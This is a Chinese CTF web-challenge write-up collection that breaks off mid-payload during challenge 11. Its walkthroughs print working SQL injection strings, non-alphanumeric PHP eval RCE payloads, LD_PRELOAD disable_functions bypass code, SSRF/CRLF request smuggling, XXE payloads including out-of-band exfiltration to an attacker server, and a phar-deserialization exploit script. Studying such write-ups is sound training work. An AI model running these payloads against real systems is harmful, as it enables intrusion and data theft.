Syclover-Web题解
目錄
1、打比賽前先擼一只貓!
2、你看見過我的菜刀么
3、BurpSuiiiiiit!!!
4、性感瀟文清,在線算卦
5、Easysql
6、RCE me
7、李三的代碼審計筆記第一頁
8、服務端檢測系統(tǒng)
9、Lovelysql
10、性感黃阿姨,在線聊天
11、李三的代碼審計筆記第二頁
12、Babysql
13、神秘的三葉草
14、Eval evil code
15、Jiang‘s Secret
16、Hardsql
17、你有特洛伊么
18、Leixiao's blog
19、反序列化1.0
20、又來一只貓
21、你有初戀嗎
22、Finalsql
23、你讀懂瀟文清的網站了嗎?
1、打比賽前先擼一只貓!
題目描述:打比賽前先擼一只貓!: 貓貓陪我打ctf!
hint:擼貓:https://www.cnblogs.com/ranyonsue/p/5984001.html
打開題目給的地址,直接F12查看源碼,發(fā)現(xiàn)關鍵代碼,上面的flag是假的,在地址后面加上?cat=dog得到真正的flag
2、你看見過我的菜刀么
題目描述:你看見過我的菜刀么
hint:菜刀:https://qq52o.me/2277.html
打開地址發(fā)現(xiàn)典型的一句話,直接上菜刀連接,密碼是Syc,找一下就能得到flag
3、BurpSuiiiiiit!!!
題目描述:拿起你的burp,開始戰(zhàn)斗吧 附件: 鏈接:https://share.weiyun.com/5WD42Vt 密碼:zp5sy9 備用鏈接:http://geek.sycsec.com:44444/static/file/Burp.zip
下載附件,打開自己的burpsuit,找到拓展模塊,加載這個文件,查看錯誤信息,就可以得到flag
4、性感瀟文清,在線算卦
題目描述:動作快點才能算到好卦。
打開地址,F12查看源碼,看到關鍵代碼。
主要代碼:最后有提示,條件競爭(可以自行百度)
這段代碼的意思大概就是先創(chuàng)建一個文件夾,然后在這個文件夾下面會新建一個以你輸入的用戶名sha1加密后為名的文件,flag會被寫入到這個文件中,然后這個路徑會被打印出來,但是0.1秒會馬上重新寫入you are too slow!所以直接訪問得不到flag,所以就是要在它重新寫入之前訪問,兩種方法,寫腳本或者用burpsuit爆破,時間久點
<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";if (!is_dir($savepath)) {$oldmask = umask(0);mkdir($savepath);umask($oldmask);}if ((@$_GET['u']) && (@$_GET['p'])) {$content = '***************';file_put_contents("$savepath" . sha1($_GET['u']), $content);$msg = 'Ding!你的算卦結果就在這兒啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";echo $msg;usleep(100000);@$content = "you are too slow";file_put_contents("$savepath" . sha1($_GET['u']), $content);}試試條件競爭吧? -->腳本代碼,運行起來然后訪問他給你的網址
import requests while 1:requests.get('http://148.70.59.198:42534/?u=1&p=1')訪問http://148.70.59.198:42534/?u=1&p=1,burpsuit抓包,直接將密碼或者其他沒用的設為變量,可以設為數(shù)字從1到10000000(隨便多大,久就行了),然后訪問它給你的網址
5、Easysql
題目描述:最近我做了一個小網站,我把flag放在里面了,不過我沒有把登陸密碼告訴任何人,所以你們是拿不到flag的!
打開地址,直接萬能密碼登錄拿到flag,username:admin'or 1#,password:1
6、RCE me
題目描述:I don't think U can system RCE,prove to me
題目代碼:
<?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code); } else{highlight_file(__FILE__); } highlight_file(__FILE);// ?>參考文章:https://www.cnblogs.com/BOHB-yunying/p/11706255.html
主要是利用"~"來繞過限制
$a = "phpinfo"; echo urlencode(~$a); %8F%97%8F%96%91%99%90 //phpinfo然后訪問http://114.116.44.23:40001/?code=(~%8F%97%8F%96%91%99%90)();查看禁用函數(shù)
常用的系統(tǒng)函數(shù)基本被禁掉了,先用scandir讀取一下目錄
print_r(scandir('./'));進行編碼
$a = "print_r"; echo urlencode(~$a).'<br>'; $a = "scandir"; echo urlencode(~$a); %8F%8D%96%91%8B%A0%8D //print_r %8C%9C%9E%91%9B%96%8D //scandir 訪問地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./"))); 讀取當前目錄下的文件?
訪問地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("/"))); 讀取根目錄下的文件?發(fā)現(xiàn)flag和readflag兩個
使用readfile('/flag')和readfile('/readflag')讀取兩個文件內容 %8D%9A%9E%9B%99%96%93%9A # readfile %D0%99%93%9E%98 # /flag %D0%8D%9A%9E%9B%99%93%9E%98 # /readflag?
訪問地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%99%93%9E%98)); 讀取根目錄下的flag文件 沒有東西 訪問地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98)); 讀取根目錄下的readflag文件 發(fā)現(xiàn)是二進制文件,猜測應該是運行這個可執(zhí)行文件,然后得到flag?由于之前的禁用函數(shù)沒有包含aasert,所以嘗試使用assert函數(shù)寫shell
assert($_POST['a']);?
%9E%8C%8C%9A%8D%8B # assert %DB%A0%AF%B0%AC%AB # $_POST %9E # a %DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2 #$_POST["a"] (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]); //全拆開編碼 (~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2)); //后面一起編碼原文章是一起編碼訪問不了,我沒有出現(xiàn)這種情況,但是這里兩種方法都沒有讀取到東西
在查看tmp目錄下發(fā)現(xiàn)有其他內容
%8F%8D%96%91%8B%A0%8D #print_r %8C%9C%9E%91%9B%96%8D #scan_dir %D0%8B%92%8F #/tmp 訪問網址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0%8B%92%8F)); 查看/tmp下的文件隨便找一個像shell的php文件,讀取內容,這里看的是hack.php,不能直接看到,需要F12查看源碼
訪問網址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F));嘗試文件包含,測試一下腳本是否可用
%9E%8C%8C%9A%8D%8B #assert %96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4 #include("/tmp/hack.php")訪問網址:http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4)); post數(shù)據:test=phpinfo();成功訪問,直接上菜刀進行連接
接下來就是上傳bypass腳本和拓展庫,下面兩個是原文鏈接的
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD我在原代碼baypass_disablefunc.php把get方式改成了post,上傳這個文件
<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_POST["cmd"];$out_path = $_POST["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_POST["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?>然后上傳第二個鏈接里面的bypass_disablefunc_x64.so,最后文件包含我們的上傳的bypass文件,得到flag
http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%95%95%95%D1%8F%97%8F%DD%D6%C4)); #assert(include("jjj.php"))post數(shù)據:cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.socmd:要執(zhí)行的文件 outpath:輸出路徑 sopath:上傳的拓展庫記錄一下淚笑師傅在群里給的兩篇借鑒文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/leixiao-/p/10612798.html
這里在推一手官方的題解
https://evoa.me/index.php/archives/62/
7、李三的代碼審計筆記第一頁
題目描述:Talk is easy ,show me the code.
打開文件得到源代碼:
<?phphighlight_file(__FILE__);error_reporting(E_ALL);ini_set("max_execution_time", "60");empty($_GET["url"]) && die();$password = "If I knew where I would die, I would never go there.";$arr = explode(' ', $password);function startsWith($haystack, $needle){$length = strlen($needle);return (substr($haystack, 0, $length) === $needle);}$url = $_GET["url"];if (!startsWith($url,"http://")){die("Not allow !");}for($i=0; $i<count($arr); $i++){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);$output = curl_exec($ch);curl_close($ch);if ($output === $arr[$i]){if($i == sizeof($arr)-1){echo "Congratulations. Flag is SYC{********************************}";}else{continue;}}else{ die("password is wrong");}}?>直接上腳本,由于這里我是本地調試,所以兩個sleep的時間都是一秒,但是公網服務器可能會有延遲,所以sleep的時間需要自己調,先運行腳本,再訪問網址,訪問的網址是http://ctf1.redteam.today:8081/?url=http://你的公網地址/1.php
import time str=['If','I','knew','where','I','would','die,','I','would','never','go','there.'] for i in range(len(str)+1):f=open('1.php','w')payload=str[i]+'<?php sleep(1);?>'f.write(payload)f.closetime.sleep(1)下面記錄一下官方的腳本
import flask import datetimeserver=flask.Flask(__name__) data="If I knew where I would die, I would never go there." data=data.split(" ") data.reverse@server.route('/',methods=['post','get']) def index(): return data.pop()server.run(port=8888)8、服務端檢測系統(tǒng)
題目描述:emm,自己看
hint:ssrf && crlf
打開網址,F12查看源碼,關鍵代碼如下
<!-- /admin.php --> <!--if(isset($_POST['method']) && isset($_POST['url']) ){$method=$_POST['method'];$url=$_POST['url'];if(preg_match('/^http:\/\//i',$url)){$opts = array('http'=>array('method'=>$method,'timeout'=>3));$context = stream_context_create($opts);$body = @file_get_contents($url."/anything", false, $context);if(isset($http_response_header)){preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);if(isset($matches[1])){echo "服務端支持的請求方法有:".$matches[1];}else{echo "failed<br>";echo sprintf("body length of $method%d", $body);}}else{echo "error";}}else{echo 'not allowed';}} -->分析代碼可得,url和method可控,但url必須http://開頭
訪問admin.php頁面顯示only 127.0.0.1 can visit it,又提示說ssrf,說明肯定是利用index.php的功能來ssrf
輸入的url會被拼接上/anything,然后默認以options請求方法訪問,一次得到Allow返回頭
下面就是參考的官方思路
想訪問/admin.php就得繞過/anything后綴,這里可以用?,然后method也改成GET嘗試
url=http://127.0.0.1/admin.php?&method=GET顯示failed是因為采用GET請求方式,服務端是不會返回Allow頭的
而且這里的ssrf也沒有直接的回顯,只有類似響應體長度的語句
但是之前的代碼中sprintf("body length of $method%d", $body);這句代碼有錯誤
因為$method這個變量是我們可控的,然后%%是會被轉義成實義的%,那么我們如果將$method的值傳入為%s%,那么最后拼接成的語句就會是sprintf("body length of %s%%d", $body);,那后面的%%d會被轉義成%d,不起作用了,那么$body的值就會通過%s打印出來,最后顯示的內容就是body length of 返回的數(shù)據%d
因為method是作為請求方式去發(fā)起http請求的,那么其實發(fā)出請求包是這樣的
%s%/admin.php?/anything HTTP/1.0 Host: 127.0.0.1%s%自然是不能作為一個正常的請求頭,但是某些中間件可能也會當做GET請求來響應,比如當前環(huán)境中是會正常返回admin.php頁面內容的
發(fā)現(xiàn)需要我們POST一個值為yes的iwantflag參數(shù)上去才會顯示flag,想要構造POST請求包就有回到了$method這個變量來
發(fā)現(xiàn)這里用的是file_get_contents()函數(shù)來發(fā)起HTTP請求,一些配置選項包括這里的請求方式是作為一個數(shù)組通過stream_context_create()處理后傳入的。其實這里就存在crlf注入漏洞,及我們可以完全自己構造一個完整的POST包發(fā)出去
具體如下
url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1 Host:x Content-Type: application/x-www-form-urlencoded Content-Length:50iwantflag=yes%26b=%s%成功獲得flag
9、Lovelysql
題目描述:上次是我粗心大意,看來不能直接放在網頁上了!
打開網址,發(fā)現(xiàn)是上次sql注入的進階版
http://118.25.14.40:8101/check.php?username=admin%27order+by+3%23&password=123 #字段數(shù)為3 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,3%23&password=123 #得到報錯回顯的數(shù)字為1,2 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,database()%23&password=123 #得到數(shù)據庫名 geek http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=123 #得到表名geekuser,l0ve1ysq1 http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27l0ve1ysq1%27%23&password=123 得到字段名id,username,password http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(username,0x7e,password)%20from%20l0ve1ysq1%23&password=123 #得到flag10、性感黃阿姨,在線聊天
題目描述:聽說她有很多小秘密和表情包哦,當然也有你們最想要的flag!
hint:weak php && xxe
打開網址,在下面框內隨便輸入什么之后,她會要你直接問她要flag,但是輸入flag之后,會打印“你只是我guest”
抓包,發(fā)現(xiàn)guest,將它改為admin,然后forward
得到一段提示信息
這里利用弱php的特性,推薦文章:https://www.cnblogs.com/liangxiyang/p/10925792.html
PHP中有兩種比較符號,“==”與“===”?!?#61;=”我們稱之為等值符,當?shù)忍杻蛇厼橄嗤愋蜁r,直接比較值是否相等;當?shù)忍杻蛇咁愋筒煌瑫r,先轉換為相同的類型,再對轉換后的值進行比較,如果比較一個數(shù)字和字符串或者涉及到數(shù)字內容的字符串,則字符串會被轉換成數(shù)值并且比較按照常數(shù)值進行比較。
<?php var_dump("admin"==0); //true var_dump("1admin"==1); //true var_dump("admin1"==1) //false var_dump("admin1"==0) //true var_dump("0e123456"=="0e4456789"); //true ?> 當一個字符串欸當作一個數(shù)值來取值,其結果和類型如下:如果該字符串沒有包含'.','e','E'并且其數(shù)值值在整形的范圍之內 該字符串被當作int來取值,其他所有情況下都被作為float來取值,該字符串的開始部分決定了它的值,如果該字符串以合法的數(shù)值開始,則使用該數(shù)值,否則其值為0。直接發(fā)送到intruder模塊,將"guest"設為變量,從0爆破到1000
發(fā)現(xiàn)為375的時候跟其他都不一樣,抓包改為375發(fā)現(xiàn)信息,得到flag存放的位置
提示說xxe,所以把數(shù)據包改為xml格式,Content-Type改為xml
后端成功解析
這里可以直接回顯也可以盲注
直接回顯我做的時候不知道為什么不行,可能哪里有點小錯誤,再加之分數(shù)高,以為沒那么簡單,所以是盲注出來的
但是看了官方wp之后,這題是可以直接回顯的
下面就是參考的官方wp 這里357為什么繞不過去了,因為json是可以傳遞數(shù)字和字符串的,區(qū)別就是兩側有無引號,而xml只能傳遞字符串 那么現(xiàn)在就可以構造XXE來讀取文件了,而回顯點就是name但是會發(fā)現(xiàn)直接讀_f14g_Is_Here.php讀不出來,這是因為php文件中有特殊字符(如<)讓xml解析時出錯了,可以利用php流讀取
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE xxe[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./_f14g_Is_Here_.php"> ]> <root><name>&xxe;</name> <request>flag</request> </root>?
下面分享盲注也就是我的做法(想復雜了。。。)
先在自己的服務器放置一個e.xml,內容如下
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php"> <!ENTITY % int "<!ENTITY trick SYSTEM 'http://你的公網ip/ftp.txt?id=%payload;'>"> %int;xml數(shù)據如下,但是這里不能連著出現(xiàn)http:,所以講冒號url編碼為%3A
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http%3A//你的公網ip/e.xml">%remote;]> <root> <xxx>&trick;<xxx> </root>?
11、李三的代碼審計筆記第二頁
題目描述:聽說李三用這個裁剪他的頭像,http://ctf1.redteam.today:8233/www.zip
記錄一下官方題解:
代碼如下
//upload.php<?phperror_reporting(0); ini_set("max_execution_time", "60"); session_start();class Picture {function __construct($tmpName){$whitelist = ["image/jpeg" => "jpg","image/svg+xml" => "svg"];$this->tmpName = $tmpName;$this->mimeType = mime_content_type($tmpName);if (!array_key_exists($this->mimeType, $whitelist)) {$this->jsonencode = json_encode(array("error"=>"圖片不符合要求格式"));exit();}$this->getPictureSize($this->tmpName, $this->mimeType);if ($this->width * $this->height > 1500 * 1500) {$this->jsonencode = json_encode(array("error"=>"圖片過大"));exit();}$this->extension = "." . $whitelist[$this->mimeType];$this->fileName = md5(random_bytes(10));$this->sandbox = $filePath = "picture/" . md5(session_id()) . "/";}function getPictureSize($file, $mimeType) {if ($mimeType == "image/jpeg") {$size = getimagesize($file);$this->width = (int) $size[0];$this->height = (int) $size[1];} else {$xml = file_get_contents($file);$domcument = new DOMDocument();$domcument->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);$img = simplexml_import_dom($domcument);$attrs = $img->attributes();$this->width = (int) $attrs->width;$this->height = (int) $attrs->height;}}function samplePicture() {$filePath = $this->sandbox . $this->fileName . $this->extension;$samplePath = $this->sandbox . $this->fileName . "_sample.jpg";exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);$jsonencode = json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));echo $jsonencode;}function __destruct(){if (!empty($this->jsonencode)){echo $this->jsonencode;return ;}if (!file_exists($this->sandbox)){mkdir($this->sandbox);}$fileDst = $this->sandbox . $this->fileName . $this->extension;move_uploaded_file($this->tmpName, $fileDst);$this->samplePicture();}}header('Content-Type:text/json;charset=utf-8'); new Picture($_FILES['picture']['tmp_name']);題目考點有兩個一個是xxe,一個phar的反序列化。題目的環(huán)境是flag在根目錄下,但是做了權限處理需要執(zhí)行根目錄下的readflag程序才可以讀取,所以這也是當時回復有疑惑的同學說這題不需要知道flag也能做的原因。
關于這兩個考點可以參考這兩篇文章 一篇文章帶你深入理解漏洞之XXE漏洞和利用phar拓展php反序列化漏洞攻擊面
php的反序列化意味著可以控制類的屬性,因此可控的$filePath最后進入exec相當于是一個命令注入漏洞。
$filePath = $this->sandbox . $this->fileName . $this->extension; $samplePath = $this->sandbox . $this->fileName . "_sample.jpg"; exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath); 最后反彈shell,或者把結果重定向到web目錄均可getflag。完整利用的代碼如下 //python2 from sys import * import requests import jsonhost = "ctf1.redteam.today" port = 8233 timeout = 30ip = "http://%s:%d/" % (host, port) session = requests.Session()paramsMultipart = [('picture', ('phar.jpg', "\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x90\x00\x90\x00\x00\xff\xe1\x00tExif\x00\x00MM\x00*\x00\x00\x00\x08\x00\x04\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00>\x01\x1b\x00\x05\x00\x00\x00\x01\x00\x00\x00F\x01(\x00\x03\x00\x00\x00\x01\x00\x02\x00\x00\x87i\x00\x04\x00\x00\x00\x01\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x01\x00\x00\x00\x90\x00\x00\x00\x01\x00\x02\xa0\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\xa0\x03\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\xff\xed\x008Photoshop 3.0\x008BIM\x04\x04\x00\x00\x00\x00\x00\x008BIM\x04%\x00\x00\x00\x00\x00\x10\xd4\x1d\x8c\xd9\x8f\x00\xb2\x04\xe9\x80\x09\x98\xec\xf8B~\xff\xe2\x0f\xacICC_PROFILE\x00\x01\x01\x00\x00\x0f\x9cappl\x02\x10\x00\x00mntrRGB XYZ \x07\xe3\x00\x03\x00\x1d\x00\x01\x00:\x00:acspAPPL\x00\x00\x00\x00APPL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-appl\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11desc\x00\x00\x01P\x00\x00\x00bdscm\x00\x00\x01\xb4\x00\x00\x04\x84cprt\x00\x00\x068\x00\x00\x00\x23wtpt\x00\x00\x06\\\x00\x00\x00\x14rXYZ\x00\x00\x06p\x00\x00\x00\x14gXYZ\x00\x00\x06\x84\x00\x00\x00\x14bXYZ\x00\x00\x06\x98\x00\x00\x00\x14rTRC\x00\x00\x06\xac\x00\x00\x08\x0caarg\x00\x00\x0e\xb8\x00\x00\x00 vcgt\x00\x00\x0e\xd8\x00\x00\x000ndin\x00\x00\x0f\x08\x00\x00\x00>chad\x00\x00\x0fH\x00\x00\x00,mmod\x00\x00\x0ft\x00\x00\x00(bTRC\x00\x00\x06\xac\x00\x00\x08\x0cgTRC\x00\x00\x06\xac\x00\x00\x08\x0caabg\x00\x00\x0e\xb8\x00\x00\x00 aagg\x00\x00\x0e\xb8\x00\x00\x00 desc\x00\x00\x00\x00\x00\x00\x00\x08Display\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mluc\x00\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x0chrHR\x00\x00\x00\x14\x00\x00\x01\xd8koKR\x00\x00\x00\x0c\x00\x00\x01\xecnbNO\x00\x00\x00\x12\x00\x00\x01\xf8id\x00\x00\x00\x00\x00\x12\x00\x00\x02\nhuHU\x00\x00\x00\x14\x00\x00\x02\x1ccsCZ\x00\x00\x00\x16\x00\x00\x020daDK\x00\x00\x00\x1c\x00\x00\x02FnlNL\x00\x00\x00\x16\x00\x00\x02bfiFI\x00\x00\x00\x10\x00\x00\x02xitIT\x00\x00\x00\x14\x00\x00\x02\x88esES\x00\x00\x00\x12\x00\x00\x02\x9croRO\x00\x00\x00\x12\x00\x00\x02\x9cfrCA\x00\x00\x00\x16\x00\x00\x02\xaear\x00\x00\x00\x00\x00\x14\x00\x00\x02\xc4ukUA\x00\x00\x00\x1c\x00\x00\x02\xd8heIL\x00\x00\x00\x16\x00\x00\x02\xf4zhTW\x00\x00\x00\x0c\x00\x00\x03\nviVN\x00\x00\x00\x0e\x00\x00\x03\x16skSK\x00\x00\x00\x16\x00\x00\x03\x24zhCN\x00\x00\x00\x0c\x00\x00\x03\nruRU\x00\x00\x00\x24\x00\x00\x03:enGB\x00\x00\x00\x14\x00\x00\x03^frFR\x00\x00\x00\x16\x00\x00\x03rms\x00\x00\x00\x00\x00\x12\x00\x00\x03\x88hiIN\x00\x00\x00\x12\x00\x00\x03\x9athTH\x00\x00\x00\x0c\x00\x00\x03\xaccaES\x00\x00\x00\x18\x00\x00\x03\xb8enAU\x00\x00\x00\x14\x00\x00\x03^esXL\x00\x00\x00\x12\x00\x00\x02\x9cdeDE\x00\x00\x00\x10\x00\x00\x03\xd0enUS\x00\x00\x00\x12\x00\x00\x03\xe0ptBR\x00\x00\x00\x18\x00\x00\x03\xf2plPL\x00\x00\x00\x12\x00\x00\x04\nelGR\x00\x00\x00\"\x00\x00\x04\x1csvSE\x00\x00\x00\x10\x00\x00\x04>trTR\x00\x00\x00\x14\x00\x00\x04NptPT\x00\x00\x00\x16\x00\x00\x04bjaJP\x00\x00\x00\x0c\x00\x00\x04x\x00L\x00C\x00D\x00 \x00u\x00 \x00b\x00o\x00j\x00i\xce\xec\xb7\xec\x00 \x00L\x00C\x00D\x00F\x00a\x00r\x00g\x00e\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00W\x00a\x00r\x00n\x00a\x00S\x00z\x00\xed\x00n\x00e\x00s\x00 \x00L\x00C\x00D\x00B\x00a\x00r\x00e\x00v\x00n\x00\xfd\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00-\x00f\x00a\x00r\x00v\x00e\x00s\x00k\x00\xe6\x00r\x00m\x00K\x00l\x00e\x00u\x00r\x00e\x00n\x00-\x00L\x00C\x00D\x00V\x00\xe4\x00r\x00i\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00i\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00A\x00C\x00L\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r \x0f\x00L\x00C\x00D\x00 \x06E\x06D\x06H\x06F\x06)\x04\x1a\x04>\x04;\x04L\x04>\x04@\x04>\x042\x048\x049\x00 \x00L\x00C\x00D \x0f\x00L\x00C\x00D\x00 \x05\xe6\x05\xd1\x05\xe2\x05\xd5\x05\xe0\x05\xd9_i\x82r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00M\x00\xe0\x00u\x00F\x00a\x00r\x00e\x00b\x00n\x00\xfd\x00 \x00L\x00C\x00D\x04&\x042\x045\x04B\x04=\x04>\x049\x00 \x04\x16\x04\x1a\x00-\x044\x048\x04A\x04?\x04;\x045\x049\x00C\x00o\x00l\x00o\x00u\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r\x00W\x00a\x00r\x00n\x00a\x00 \x00L\x00C\x00D\x090\x09\x02\x09\x17\x09@\x09(\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x0e*\x0e5\x00L\x00C\x00D\x00 \x00e\x00n\x00 \x00c\x00o\x00l\x00o\x00r\x00F\x00a\x00r\x00b\x00-\x00L\x00C\x00D\x00C\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00C\x00o\x00l\x00o\x00r\x00i\x00d\x00o\x00K\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x03\x88\x03\xb3\x03\xc7\x03\xc1\x03\xc9\x03\xbc\x03\xb7\x00 \x03\xbf\x03\xb8\x03\xcc\x03\xbd\x03\xb7\x00 \x00L\x00C\x00D\x00F\x00\xe4\x00r\x00g\x00-\x00L\x00C\x00D\x00R\x00e\x00n\x00k\x00l\x00i\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00a\x00 \x00C\x00o\x00r\x00e\x00s0\xab0\xe90\xfc\x00L\x00C\x00Dtext\x00\x00\x00\x00Copyright Apple Inc., 2019\x00\x00XYZ \x00\x00\x00\x00\x00\x00\xf3\x16\x00\x01\x00\x00\x00\x01\x16\xcaXYZ \x00\x00\x00\x00\x00\x00\x83\x87\x00\x00=\xa9\xff\xff\xff\xbbXYZ \x00\x00\x00\x00\x00\x00K\xe5\x00\x00\xb3\xef\x00\x00\n\xddXYZ \x00\x00\x00\x00\x00\x00'j\x00\x00\x0eh\x00\x00\xc8\x95curv\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05\x00\n\x00\x0f\x00\x14\x00\x19\x00\x1e\x00\x23\x00(\x00-\x002\x006\x00;\x00@\x00E\x00J\x00O\x00T\x00Y\x00^\x00c\x00h\x00m\x00r\x00w\x00|\x00\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa3\x00\xa8\x00\xad\x00\xb2\x00\xb7\x00\xbc\x00\xc1\x00\xc6\x00\xcb\x00\xd0\x00\xd5\x00\xdb\x00\xe0\x00\xe5\x00\xeb\x00\xf0\x00\xf6\x00\xfb\x01\x01\x01\x07\x01\r\x01\x13\x01\x19\x01\x1f\x01%\x01+\x012\x018\x01>\x01E\x01L\x01R\x01Y\x01`\x01g\x01n\x01u\x01|\x01\x83\x01\x8b\x01\x92\x01\x9a\x01\xa1\x01\xa9\x01\xb1\x01\xb9\x01\xc1\x01\xc9\x01\xd1\x01\xd9\x01\xe1\x01\xe9\x01\xf2\x01\xfa\x02\x03\x02\x0c\x02\x14\x02\x1d\x02&\x02/\x028\x02A\x02K\x02T\x02]\x02g\x02q\x02z\x02\x84\x02\x8e\x02\x98\x02\xa2\x02\xac\x02\xb6\x02\xc1\x02\xcb\x02\xd5\x02\xe0\x02\xeb\x02\xf5\x03\x00\x03\x0b\x03\x16\x03!\x03-\x038\x03C\x03O\x03Z\x03f\x03r\x03~\x03\x8a\x03\x96\x03\xa2\x03\xae\x03\xba\x03\xc7\x03\xd3\x03\xe0\x03\xec\x03\xf9\x04\x06\x04\x13\x04 